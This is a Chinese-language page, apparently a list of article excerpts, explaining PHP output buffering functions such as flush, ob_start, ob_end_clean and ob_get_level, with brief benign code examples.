    <?php for ($i=10; $i>0; $i--) { echo $i; flush(); sleep(1); } ?> 按照php手册里的说法 该函数将当前为止程序的所有输出发送到用户的浏览器. 上面的这段代码,应该隔一秒钟输出一次$i.但是实际中却不一定是这样.有可能是等了10秒钟后,所有的输出同时呈现出来. 好,我们来改一下这段代码,改成 <?php ob_end_clean();//修改部分 for ($i=10; $i>0; $i--) { echo $i;

  • PHP嵌套输出缓冲代码实例

    PHP的输出缓存是可以嵌套的.用ob_get_level()就可以输出嵌套级别. 测试发现在cli和浏览器下输出结果不一样(PHP5.4). 手册说明如下: ob_get_level() will always return 0 inside a destructor. This happens because the garbage collection for output buffers has already done before the destructor is called 想要

  • PHP输出缓冲控制Output Control系列函数详解

    概述 以前研究过PHP的输入输出缓冲,不过博客搬家以后,原来文章找不到了,今天看到一篇好文,顺便转载过来. 简介 说到输出缓冲,首先要说的是一个叫做缓冲器(buffer)的东西.举个简单的例子说明他的作用:我们在编辑一篇文档时,在我们没有保存之前,系统是不会向磁盘写入的,而是写到buffer中,当buffer写满或者执行了保存操作,才会将数据写入磁盘.对于PHP来说,每一次像 echo 这样的输出操作,同样是先写入到了 php buffer 里,在脚本执行完毕或者执行了强制输出缓存操作,数据才会

  • PHP中对缓冲区的控制实现代码

    大家在使用PHP的过程中不免要使用到header和setcookie两个函数,这两个函数会发送一段文件头信息给浏览器,但是如果在使用这两个函数之前已经有了任何输出(包括空输出,比如空格,回车和换行)就会提示出错,提示信息如下:"Header had all ready send by"!那有什么方法可以在有了输出的情况下面在发送文件头信息呢?在PHP 4.0里面加入了缓冲区控制的几个函数,使用这些函数可以帮我们解决很多问题. 一. 相关函数简介: 1.Flush:输出缓冲区内的内容并且

  • PHP缓冲区用法总结

    本文实例总结了PHP缓冲区用法.分享给大家供大家参考,具体如下: 我们先来看一段代码. <?php for ($i=10; $i>0; $i--) { echo $i; flush(); sleep(1); } ?> 按照php手册里的说法: 该函数将当前为止程序的所有输出发送到用户的浏览器. 上面的这段代码,应该隔一秒钟输出一次$i.但是实际中却不一定是这样.有可能是等了10秒钟后,所有的输出同时呈现出来. 好,我们来改一下这段代码,改成 <?php ob_end_clean()

  • php缓冲输出实例分析

    本文实例讲述了php缓冲输出用法.分享给大家供大家参考.具体分析如下: ob_start([string output_callback])- 打开输出缓冲区 所有的输出信息不在直接发送到浏览器,而是保存在输出缓冲区里面,可选得回调函数用于处理输出结果信息. ob_end_flush - 结束(发送)输出缓冲区的内容,关闭输出缓冲区 实例代码如下: 复制代码 代码如下: ob_start();          //打开缓冲区 echo "hello world";        //

随机推荐